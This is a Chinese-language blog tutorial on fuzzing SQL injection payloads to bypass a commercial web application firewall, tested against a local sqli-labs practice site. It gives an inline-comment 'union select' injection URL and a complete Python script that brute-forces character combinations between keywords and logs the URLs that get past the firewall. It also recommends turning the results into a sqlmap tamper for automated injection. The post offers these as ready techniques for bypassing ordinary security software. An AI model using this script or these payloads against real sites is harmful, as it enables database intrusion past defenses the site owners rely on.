FUZZ测试某狗WAF绕过

  • Post author:
  • Post category:其他




题记

Fuzz是安全测试的一种方法,也是极为重要的一种手段!当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!最近两天我会对fuzz测试进行介绍!主要内容是Fuzz脚本编写和Fuzz思路!如果你想,这里会有无数种姿势让你bypass!



正文


环境准备

测试靶场:sqli-libs

安全软件:某狗最新版

首先安装配置安全狗,在此之前需要安装好phpstudy,和配置sqli-libs靶场,在此便不赘述!

在这里插入图片描述

把http防护打开,其它防护都关掉,以免影响我们测试!

在这里插入图片描述

因为我们进行本地测试,需要发送大量请求!这种情况会触发狗狗的cc防护和ddos防护,所以为了我们能大量得到payload!这里我们关闭IP黑名单和爬虫黑名单!

在这里插入图片描述

可以看到http防护已经全开!



FUZZ思路

我们的思路其实很简单!就是利用特殊字符和数字字母,特殊编码的字符遍历组合在一起进行模糊测试!这次我们利用内联注释来进行基础来进行fuzz,首先测试一下使用内联注释会不会被狗给拦了!

语句:

http://192.168.23.149/sqli/Less-1/?id=id=1/*!union*//*!select*/1,2,3

在这里插入图片描述

这时候还是会被狗拦了!所以我们可以发现安全狗对一般的注入还是有一定防护能力的!

接下来贴上我们的FUZZ脚本

# ! -*- encoding:utf-8 -*-

# python3
#比较全
# fuzz_zs = ['/*','*/','/*!','?','*','=','`','~','!','@','%','.','-','+','|','%00'.'%20' ,'%09', '%0a', '%0b', '%0c', '%0d' ,
# '%a0' ,'/**/']
# fuzz_sz = ['0','1','2','3','4','5','6','7','8','9']
# fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n",
# "%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
import requests
#精简
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']

fuzz_sz = ['', ' ']

fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]

fuzz = fuzz_zs + fuzz_sz + fuzz_ch

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}

url_start = "http://192.168.23.149/sqli/Less-1/?id=1"

for a in fuzz:

    for b in fuzz:

        for c in fuzz:

            for d in fuzz:

                exp = "/*!union" + a + b + c + d + "select*/ 1,2,3"

                url = url_start + exp

                res = requests.get(url=url, headers=headers)

                print("Now URL:" + url)

                if "Login" in res.text:
                    print("Find Fuzz bypass:" + url)

                    with open("H:ip.txt", 'a', encoding='utf-8') as r:
                        r.write(url + "\n")

这里我们使用精简的payload组合!因为组合起来真是太多了,我计算了一下请看图!

在这里插入图片描述

对!就是3个亿组合,这里才五层嵌套!我就跑了几秒!已经找到近千种bybass姿势了!

在这里插入图片描述

我们随便找一个!进行测试!

在这里插入图片描述

发现成功bypass!

接下来你可以继续手工注入!更方便的是你可以直接写一个sqlmap的tamper自动化注入~



后记

FUZZ作为一种重要的漏洞挖掘姿势!今天利用一个实例以及脚本编写对其进行介绍,这里你可以用成千上万种姿势绕过常规安全软件的软waf!下次我会就FUZZ测试流程以及FUZZ工具使用进行介绍!欢迎各位前来斧正!



版权声明:本文为JBlock原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。